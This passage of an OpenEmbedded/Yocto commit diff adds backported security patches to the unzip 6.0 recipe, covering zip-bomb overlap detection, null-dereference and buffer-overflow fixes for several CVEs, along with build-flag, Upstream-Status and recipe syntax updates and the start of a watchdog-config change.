++ if (G.cover == NULL) {
++ Info(slide, 0x401, ((char *)slide,
++ LoadFarString(NotEnoughMemCover)));
++ return PK_MEM;
++ }
++ ((cover_t *)G.cover)->span = NULL;
++ ((cover_t *)G.cover)->max = 0;
++ }
++ ((cover_t *)G.cover)->num = 0;
++ if ((G.extra_bytes != 0 &&
++ cover_add((cover_t *)G.cover, 0, G.extra_bytes) != 0) ||
++ cover_add((cover_t *)G.cover,
++ G.extra_bytes + G.ecrec.offset_start_central_directory,
++ G.ziplen) != 0) {
++ Info(slide, 0x401, ((char *)slide,
++ LoadFarString(NotEnoughMemCover)));
++ return PK_MEM;
++ }
++
+ /*---------------------------------------------------------------------------
+ The basic idea of this function is as follows. Since the central di-
+ rectory lies at the end of the zipfile and the member files lie at the
+@@ -593,7 +735,8 @@ int extract_or_test_files(__G) /* return PK-type error code */
+ if (error > error_in_archive)
+ error_in_archive = error;
+ /* ...and keep going (unless disk full or user break) */
+- if (G.disk_full > 1 || error_in_archive == IZ_CTRLC) {
++ if (G.disk_full > 1 || error_in_archive == IZ_CTRLC ||
++ error == PK_BOMB) {
+ /* clear reached_end to signal premature stop ... */
+ reached_end = FALSE;
+ /* ... and cancel scanning the central directory */
+@@ -1062,6 +1205,11 @@ static int extract_or_test_entrylist(__G__ numchunk,
+
+ /* seek_zipf(__G__ pInfo->offset); */
+ request = G.pInfo->offset + G.extra_bytes;
++ if (cover_within((cover_t *)G.cover, request)) {
++ Info(slide, 0x401, ((char *)slide,
++ LoadFarString(OverlappedComponents)));
++ return PK_BOMB;
++ }
+ inbuf_offset = request % INBUFSIZ;
+ bufstart = request - inbuf_offset;
+
+@@ -1593,6 +1741,18 @@ reprompt:
+ return IZ_CTRLC; /* cancel operation by user request */
+ }
+ #endif
++ error = cover_add((cover_t *)G.cover, request,
++ G.cur_zipfile_bufstart + (G.inptr - G.inbuf));
++ if (error < 0) {
++ Info(slide, 0x401, ((char *)slide,
++ LoadFarString(NotEnoughMemCover)));
++ return PK_MEM;
++ }
++ if (error != 0) {
++ Info(slide, 0x401, ((char *)slide,
++ LoadFarString(OverlappedComponents)));
++ return PK_BOMB;
++ }
+ #ifdef MACOS /* MacOS is no preemptive OS, thus call event-handling by hand */
+ UserStop();
+ #endif
+@@ -1994,6 +2154,34 @@ static int extract_or_test_member(__G) /* return PK-type error code */
+ }
+
+ undefer_input(__G);
++
++ if ((G.lrec.general_purpose_bit_flag & 8) != 0) {
++ /* skip over data descriptor (harder than it sounds, due to signature
++ * ambiguity)
++ */
++# define SIG 0x08074b50
++# define LOW 0xffffffff
++ uch buf[12];
++ unsigned shy = 12 - readbuf((char *)buf, 12);
++ ulg crc = shy ? 0 : makelong(buf);
++ ulg clen = shy ? 0 : makelong(buf + 4);
++ ulg ulen = shy ? 0 : makelong(buf + 8); /* or high clen if ZIP64 */
++ if (crc == SIG && /* if not SIG, no signature */
++ (G.lrec.crc32 != SIG || /* if not SIG, have signature */
++ (clen == SIG && /* if not SIG, no signature */
++ ((G.lrec.csize & LOW) != SIG || /* if not SIG, have signature */
++ (ulen == SIG && /* if not SIG, no signature */
++ (G.zip64 ? G.lrec.csize >> 32 : G.lrec.ucsize) != SIG
++ /* if not SIG, have signature */
++ )))))
++ /* skip four more bytes to account for signature */
++ shy += 4 - readbuf((char *)buf, 4);
++ if (G.zip64)
++ shy += 8 - readbuf((char *)buf, 8); /* skip eight more for ZIP64 */
++ if (shy)
++ error = PK_ERR;
++ }
++
+ return error;
+
+ } /* end function extract_or_test_member() */
+diff --git a/globals.c b/globals.c
+index fa8cca5..1e0f608 100644
+--- a/globals.c
++++ b/globals.c
+@@ -181,6 +181,7 @@ Uz_Globs *globalsCtor()
+ # if (!defined(NO_TIMESTAMPS))
+ uO.D_flag=1; /* default to '-D', no restoration of dir timestamps */
+ # endif
++ G.cover = NULL; /* not allocated yet */
+ #endif
+
+ uO.lflag=(-1);
+diff --git a/globals.h b/globals.h
+index 11b7215..2bdcdeb 100644
+--- a/globals.h
++++ b/globals.h
+@@ -260,12 +260,15 @@ typedef struct Globals {
+ ecdir_rec ecrec; /* used in unzip.c, extract.c */
+ z_stat statbuf; /* used by main, mapname, check_for_newer */
+
++ int zip64; /* true if Zip64 info in extra field */
++
+ int mem_mode;
+ uch *outbufptr; /* extract.c static */
+ ulg outsize; /* extract.c static */
+ int reported_backslash; /* extract.c static */
+ int disk_full;
+ int newfile;
++ void **cover; /* used in extract.c for bomb detection */
+
+ int didCRlast; /* fileio static */
+ ulg numlines; /* fileio static: number of lines printed */
+diff --git a/process.c b/process.c
+index a3c1a4d..208619c 100644
+--- a/process.c
++++ b/process.c
+@@ -637,6 +637,13 @@ void free_G_buffers(__G) /* releases all memory allocated in global vars */
+ }
+ #endif
+
++ /* Free the cover span list and the cover structure. */
++ if (G.cover != NULL) {
++ free(*(G.cover));
++ free(G.cover);
++ G.cover = NULL;
++ }
++
+ } /* end function free_G_buffers() */
+
+
+@@ -1905,6 +1912,7 @@ int getZip64Data(__G__ ef_buf, ef_len)
+
+ #define Z64FLGS 0xffff
+ #define Z64FLGL 0xffffffff
++ G.zip64 = FALSE;
+
+ if (ef_len == 0 || ef_buf == NULL)
+ return PK_COOL;
+@@ -1964,6 +1972,8 @@ int getZip64Data(__G__ ef_buf, ef_len)
+ G.crec.disk_number_start = (zuvl_t)makelong(offset + ef_buf);
+ offset += 4;
+ }
++
++ G.zip64 = TRUE;
+ #if 0
+ break; /* Expect only one EF_PKSZ64 block. */
+ #endif /* 0 */
+diff --git a/unzip.h b/unzip.h
+index 5b2a326..ed24a5b 100644
+--- a/unzip.h
++++ b/unzip.h
+@@ -645,6 +645,7 @@ typedef struct _Uzp_cdir_Rec {
+ #define PK_NOZIP 9 /* zipfile not found */
+ #define PK_PARAM 10 /* bad or illegal parameters specified */
+ #define PK_FIND 11 /* no files found */
++#define PK_BOMB 12 /* likely zip bomb */
+ #define PK_DISK 50 /* disk full */
+ #define PK_EOF 51 /* unexpected EOF */
+
+--
+2.22.0.vfs.1.1.57.gbaf16c8
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch
new file mode 100644
index 0000000000..fd26fdd833
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch
@@ -0,0 +1,121 @@
+From be88aa4811af47ca06d8b7dcda294f899eba70ea Mon Sep 17 00:00:00 2001
+From: Mark Adler <madler@alumni.caltech.edu>
+Date: Thu, 25 Jul 2019 20:43:17 -0700
+Subject: [PATCH 3/3] Do not raise a zip bomb alert for a misplaced central
+ directory.
+
+There is a zip-like file in the Firefox distribution, omni.ja,
+which is a zip container with the central directory placed at the
+start of the file instead of after the local entries as required
+by the zip standard. This commit marks the actual location of the
+central directory, as well as the end of central directory records,
+as disallowed locations. This now permits such containers to not
+raise a zip bomb alert, where in fact there are no overlaps.
+
+CVE: CVE-2019-13232
+Upstream-Status: Backport
+[https://github.com/madler/unzip/commit/6d351831be705cc26d897db44f878a978f4138fc]
+
+Signed-off-by: Dan Tran <dantran@microsoft.com>
+---
+ extract.c | 25 +++++++++++++++++++------
+ process.c | 6 ++++++
+ unzpriv.h | 10 ++++++++++
+ 3 files changed, 35 insertions(+), 6 deletions(-)
+
+diff --git a/extract.c b/extract.c
+index 2bb72ba..a9dcca8 100644
+--- a/extract.c
++++ b/extract.c
+@@ -495,8 +495,11 @@ int extract_or_test_files(__G) /* return PK-type error code */
+ }
+ #endif /* !SFX || SFX_EXDIR */
+
+- /* One more: initialize cover structure for bomb detection. Start with a
+- span that covers the central directory though the end of the file. */
++ /* One more: initialize cover structure for bomb detection. Start with
++ spans that cover any extra bytes at the start, the central directory,
++ the end of central directory record (including the Zip64 end of central
++ directory locator, if present), and the Zip64 end of central directory
++ record, if present. */
+ if (G.cover == NULL) {
+ G.cover = malloc(sizeof(cover_t));
+ if (G.cover == NULL) {
+@@ -508,15 +511,25 @@ int extract_or_test_files(__G) /* return PK-type error code */
+ ((cover_t *)G.cover)->max = 0;
+ }
+ ((cover_t *)G.cover)->num = 0;
+- if ((G.extra_bytes != 0 &&
+- cover_add((cover_t *)G.cover, 0, G.extra_bytes) != 0) ||
+- cover_add((cover_t *)G.cover,
++ if (cover_add((cover_t *)G.cover,
+ G.extra_bytes + G.ecrec.offset_start_central_directory,
+- G.ziplen) != 0) {
++ G.extra_bytes + G.ecrec.offset_start_central_directory +
++ G.ecrec.size_central_directory) != 0) {
+ Info(slide, 0x401, ((char *)slide,
+ LoadFarString(NotEnoughMemCover)));
+ return PK_MEM;
+ }
++ if ((G.extra_bytes != 0 &&
++ cover_add((cover_t *)G.cover, 0, G.extra_bytes) != 0) ||
++ (G.ecrec.have_ecr64 &&
++ cover_add((cover_t *)G.cover, G.ecrec.ec64_start,
++ G.ecrec.ec64_end) != 0) ||
++ cover_add((cover_t *)G.cover, G.ecrec.ec_start,
++ G.ecrec.ec_end) != 0) {
++ Info(slide, 0x401, ((char *)slide,
++ LoadFarString(OverlappedComponents)));
++ return PK_BOMB;
++ }
+
+ /*---------------------------------------------------------------------------
+ The basic idea of this function is as follows. Since the central di-
+diff --git a/process.c b/process.c
+index 208619c..5f8f6c6 100644
+--- a/process.c
++++ b/process.c
+@@ -1408,6 +1408,10 @@ static int find_ecrec64(__G__ searchlen) /* return PK-class error */
+
+ /* Now, we are (almost) sure that we have a Zip64 archive. */
+ G.ecrec.have_ecr64 = 1;
++ G.ecrec.ec_start -= ECLOC64_SIZE+4;
++ G.ecrec.ec64_start = ecrec64_start_offset;
++ G.ecrec.ec64_end = ecrec64_start_offset +
++ 12 + makeint64(&byterec[ECREC64_LENGTH]);
+
+ /* Update the "end-of-central-dir offset" for later checks. */
+ G.real_ecrec_offset = ecrec64_start_offset;
+@@ -1542,6 +1546,8 @@ static int find_ecrec(__G__ searchlen) /* return PK-class error */
+ makelong(&byterec[OFFSET_START_CENTRAL_DIRECTORY]);
+ G.ecrec.zipfile_comment_length =
+ makeword(&byterec[ZIPFILE_COMMENT_LENGTH]);
++ G.ecrec.ec_start = G.real_ecrec_offset;
++ G.ecrec.ec_end = G.ecrec.ec_start + 22 + G.ecrec.zipfile_comment_length;
+
+ /* Now, we have to read the archive comment, BEFORE the file pointer
+ is moved away backwards to seek for a Zip64 ECLOC64 structure.
+diff --git a/unzpriv.h b/unzpriv.h
+index c8d3eab..5e177c7 100644
+--- a/unzpriv.h
++++ b/unzpriv.h
+@@ -2185,6 +2185,16 @@ typedef struct VMStimbuf {
+ int have_ecr64; /* valid Zip64 ecdir-record exists */
+ int is_zip64_archive; /* Zip64 ecdir-record is mandatory */
+ ush zipfile_comment_length;
++ zusz_t ec_start, ec_end; /* offsets of start and end of the
++ end of central directory record,
++ including if present the Zip64
++ end of central directory locator,
++ which immediately precedes the
++ end of central directory record */
++ zusz_t ec64_start, ec64_end; /* if have_ecr64 is true, then these
++ are the offsets of the start and
++ end of the Zip64 end of central
++ directory record */
+ } ecdir_rec;
+
+
+--
+2.22.0.vfs.1.1.57.gbaf16c8
+
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
new file mode 100644
index 0000000000..c0103444fc
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
@@ -0,0 +1,67 @@
+From 731d698377dbd1f5b1b90efeb8094602ed59fc40 Mon Sep 17 00:00:00 2001
+From: Nils Bars <nils.bars@t-online.de>
+Date: Mon, 17 Jan 2022 16:53:16 +0000
+Subject: [PATCH] Fix null pointer dereference and use of uninitialized data
+
+This fixes a bug that causes use of uninitialized heap data if `readbuf` fails
+to read as many bytes as indicated by the extra field length attribute.
+Furthermore, this fixes a null pointer dereference if an archive contains an
+`EF_UNIPATH` extra field but does not have a filename set.
+---
+ fileio.c | 5 ++++-
+ process.c | 6 +++++-
+ 2 files changed, 9 insertions(+), 2 deletions(-)
+---
+
+Patch from:
+https://bugs.launchpad.net/ubuntu/+source/unzip/+bug/1957077
+https://launchpadlibrarian.net/580782282/0001-Fix-null-pointer-dereference-and-use-of-uninitialized-data.patch
+Regenerated to apply without offsets.
+
+CVE: CVE-2021-4217
+
+Upstream-Status: Inactive-Upstream [infozip upstream inactive]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+
+diff --git a/fileio.c b/fileio.c
+index 14460f3..1dc319e 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -2301,8 +2301,11 @@ int do_string(__G__ length, option) /* return PK-type error code */
+ seek_zipf(__G__ G.cur_zipfile_bufstart - G.extra_bytes +
+ (G.inptr-G.inbuf) + length);
+ } else {
+- if (readbuf(__G__ (char *)G.extra_field, length) == 0)
++ unsigned bytes_read = readbuf(__G__ (char *)G.extra_field, length);
++ if (bytes_read == 0)
+ return PK_EOF;
++ if (bytes_read != length)
++ return PK_ERR;
+ /* Looks like here is where extra fields are read */
+ if (getZip64Data(__G__ G.extra_field, length) != PK_COOL)
+ {
+diff --git a/process.c b/process.c
+index 5f8f6c6..de843a5 100644
+--- a/process.c
++++ b/process.c
+@@ -2058,10 +2058,14 @@ int getUnicodeData(__G__ ef_buf, ef_len)
+ G.unipath_checksum = makelong(offset + ef_buf);
+ offset += 4;
+
++ if (!G.filename_full) {
++ /* Check if we have a unicode extra section but no filename set */
++ return PK_ERR;
++ }
++
+ /*
+ * Compute 32-bit crc
+ */
+-
+ chksum = crc32(chksum, (uch *)(G.filename_full),
+ strlen(G.filename_full));
+
+--
+2.32.0
+
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
new file mode 100644
index 0000000000..1c1e120deb
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
@@ -0,0 +1,39 @@
+https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
+
+CVE: CVE-2022-0529
+Upstream-Status: Inactive-Upstream [need a new release]
+
+diff --git a/process.c b/process.c
+index d2a846e..99b9c7b 100644
+--- a/process.c
++++ b/process.c
+@@ -2507,13 +2507,15 @@ char *wide_to_local_string(wide_string, escape_all)
+ char buf[9];
+ char *buffer = NULL;
+ char *local_string = NULL;
++ size_t buffer_size;
+
+ for (wsize = 0; wide_string[wsize]; wsize++) ;
+
+ if (max_bytes < MAX_ESCAPE_BYTES)
+ max_bytes = MAX_ESCAPE_BYTES;
+
+- if ((buffer = (char *)malloc(wsize * max_bytes + 1)) == NULL) {
++ buffer_size = wsize * max_bytes + 1;
++ if ((buffer = (char *)malloc(buffer_size)) == NULL) {
+ return NULL;
+ }
+
+@@ -2552,7 +2554,11 @@ char *wide_to_local_string(wide_string, escape_all)
+ /* no MB for this wide */
+ /* use escape for wide character */
+ char *escape_string = wide_to_escape_string(wide_string[i]);
+- strcat(buffer, escape_string);
++ size_t buffer_len = strlen(buffer);
++ size_t escape_string_len = strlen(escape_string);
++ if (buffer_len + escape_string_len + 1 > buffer_size)
++ escape_string_len = buffer_size - buffer_len - 1;
++ strncat(buffer, escape_string, escape_string_len);
+ free(escape_string);
+ }
+ }
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
new file mode 100644
index 0000000000..363dafddc9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
@@ -0,0 +1,33 @@
+https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
+
+CVE: CVE-2022-0530
+Upstream-Status: Inactive-Upstream [need a new release]
+
+diff --git a/fileio.c b/fileio.c
+index 6290824..77e4b5f 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -2361,6 +2361,9 @@ int do_string(__G__ length, option) /* return PK-type error code */
+ /* convert UTF-8 to local character set */
+ fn = utf8_to_local_string(G.unipath_filename,
+ G.unicode_escape_all);
++ if (fn == NULL)
++ return PK_ERR;
++
+ /* make sure filename is short enough */
+ if (strlen(fn) >= FILNAMSIZ) {
+ fn[FILNAMSIZ - 1] = '\0';
+diff --git a/process.c b/process.c
+index d2a846e..715bc0f 100644
+--- a/process.c
++++ b/process.c
+@@ -2605,6 +2605,8 @@ char *utf8_to_local_string(utf8_string, escape_all)
+ int escape_all;
+ {
+ zwchar *wide = utf8_to_wide_string(utf8_string);
++ if (wide == NULL)
++ return NULL;
+ char *loc = wide_to_local_string(wide, escape_all);
+ free(wide);
+ return loc;
+
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
index 8f30e42674..70bedc8381 100644
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
@@ -1,4 +1,4 @@
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
unix/Makefile: remove hard coded strip commands
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
index 659c6e3315..dd01c01400 100644
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
@@ -1,6 +1,6 @@
Pass LDFLAGS to the linker
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
index 8e9b06c423..2889c652d4 100644
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
@@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted.
[YOCTO #9551]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
new file mode 100644
index 0000000000..26f1c8ba86
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/symlink.patch
@@ -0,0 +1,26 @@
+Unzip doesn't handle large zip files well and crashes:
+
+"This only happens if you have more then 16k entries and when one of
+the 16k entry infos is reused it happend to be previously used for
+a symlink entry."
+
+This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
+
+Upstream-Status: Inactive-Upstream [need a new release]
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+
+--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
++++ unzip60/process.c 2013-06-09 12:10:08.641696988 +0200
+@@ -1751,6 +1751,12 @@
+ = (G.crec.general_purpose_bit_flag & (1 << 11)) == (1 << 11);
+ #endif
+
++#ifdef SYMLINKS
++ /* Initialize the symlink flag, may be set by the platform-specific
++ mapattr function. */
++ G.pInfo->symlink = 0;
++#endif
++
+ return PK_COOL;
+
+ } /* end function process_cdir_file_hdr() */
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
new file mode 100644
index 0000000000..4bab7b26af
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
@@ -0,0 +1,127 @@
+unzip: use optimization from bitbake
+
+Remove -O3 optimizations to use bitbake default optimization levels.
+
+Upstream-Status: Inappropriate [configuration]
+
+Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
+
+diff -rup unix-orig/configure unix/configure
+--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
++++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
+@@ -70,7 +70,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " DEC C ($CFLAGS_OPT)"
+ else
+ # HP-UX HP C?
+@@ -111,7 +111,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " GNU C ($CFLAGS_OPT)"
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+diff -rup unix-orig/Makefile unix/Makefile
+--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
++++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
+@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
+ AS = as
+ LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
+ AF = $(LOC)
+-CFLAGS = -O
++CFLAGS =
+ CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
+ CF = $(CFLAGS) $(CF_NOOPT)
+ LFLAGS1 =
+@@ -594,12 +594,12 @@ generic_shlib: unix_make
+ @echo\
+ 'which is UnZip linked with the DLL). This target is an example only.'
+ @echo ""
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
+ $(RM) libunzip.so.0 libunzip.so
+ $(LN) -s libunzip.so.0.4 libunzip.so.0
+ $(LN) -s libunzip.so.0 libunzip.so
+- gcc -c -O unzipstb.c
++ gcc -c unzipstb.c
+ gcc -o unzip_shlib unzipstb.o -L. -lunzip
+
+ #----------------------------------------------------------------------------
+@@ -775,7 +775,7 @@ freebsd: unix_make
+ # with "echo" instead).
+ #
+ gcc: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
+
+ # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
+ hk68: unix_make
+@@ -792,7 +792,7 @@ isc: unix_make
+ isc_gcc: unix_make
+ $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
+ LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
+- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
++ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
+ AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
+ $(STRIP) $(UNZIPS)
+
+@@ -808,7 +808,7 @@ isi: unix_make
+ linux: unix_make
+ @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
+ $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
+- CFLAGS="-O3 -Wall -DASM_CRC"\
++ CFLAGS="-Wall -DASM_CRC"\
+ AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
+ # GRR: this echo is pointless; if user gets this far, no difference to install
+ # @echo 'Be sure to use the install_asm target rather than the install target'
+@@ -818,14 +818,14 @@ linux_asm: linux
+ # Linux (Posix, approximately SysV): virtually any version since before 0.96,
+ # for any platform. Change "-O" to "-O3" or whatever, as desired...
+ linux_noasm: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
+
+ # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
+ # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
+ # (or -O2 or -O) is ignored. [GRR 960828: test target only]
+ #
+ linux_lcc: unix_make
+- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
++ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
+
+ # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
+ linux_dos: unix_make
+@@ -844,7 +844,7 @@ linux_dos: unix_make
+ # library).
+ #
+ linux_shlib: unix_make
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
+ LOC="-DDLL -DASM_CRC $(LOC)"\
+ AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+@@ -858,7 +858,7 @@ linux_shlib: unix_make
+ # instead of the original UnZip version. (libz was libgz prior to 0.94)
+ linux_shlibz: unix_make
+ $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
+- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
++ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+ crc_gcc.pic.o
+ ln -sf libunzip.so.0.4 libunzip.so.0
+@@ -871,7 +871,7 @@ lynx: unix_make
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
+ macosx: unix_make
+- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
++ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
+ $(STRIP) $(UNZIPS)
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
index 105d048f55..27076d5d9b 100644
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ b/meta/recipes-extended/unzip/unzip_6.0.bb
@@ -1,10 +1,10 @@
SUMMARY = "Utilities for extracting and viewing files in .zip archives"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
PE = "1"
-PR = "r5"
SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/unzip60.tar.gz \
file://avoid-strip.patch \
@@ -19,12 +19,27 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/
file://fix-security-format.patch \
file://18-cve-2014-9913-unzip-buffer-overflow.patch \
file://19-cve-2016-9844-zipinfo-buffer-overflow.patch \
+ file://symlink.patch \
+ file://0001-unzip-fix-CVE-2018-1000035.patch \
+ file://CVE-2018-18384.patch \
+ file://CVE-2019-13232_p1.patch \
+ file://CVE-2019-13232_p2.patch \
+ file://CVE-2019-13232_p3.patch \
+ file://unzip_optimization.patch \
+ file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \
+ file://CVE-2021-4217.patch \
+ file://CVE-2022-0529.patch \
+ file://CVE-2022-0530.patch \
+ file://0001-configure-Add-correct-system-headers-and-prototypes-.patch \
+ file://0001-unix-configure-fix-detection-for-cross-compilation.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "62b490407489521db863b523a7f86375"
SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
+CVE_STATUS[CVE-2008-0888] = "fixed-version: Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source"
+
# exclude version 5.5.2 which triggers a false positive
UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz"
@@ -38,7 +53,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
export LD = "${CC}"
-LD_class-native = "${CC}"
+LD:class-native = "${CC}"
do_compile() {
oe_runmake -f unix/Makefile generic
@@ -55,7 +70,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "unzip"
+ALTERNATIVE:${PN} = "unzip"
ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb
index 8bf40f0f0e..f138952128 100644
--- a/meta/recipes-extended/watchdog/watchdog-config.bb
+++ b/meta/recipes-extended/watchdog/watchdog-config.bb
@@ -5,7 +5,7 @@ the system."
HOMEPAGE = "http://watchdog.sourceforge.net/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = " \
@@ -13,8 +13,15 @@ SRC_URI = " \
file://watchdog.conf \
"
+# The default value is 60 seconds when null.
+WATCHDOG_TIMEOUT ??= ""
+
do_install() {
install -Dm 0644 ${WORKDIR}/watchdog.default ${D}${sysconfdir}/default/watchdog
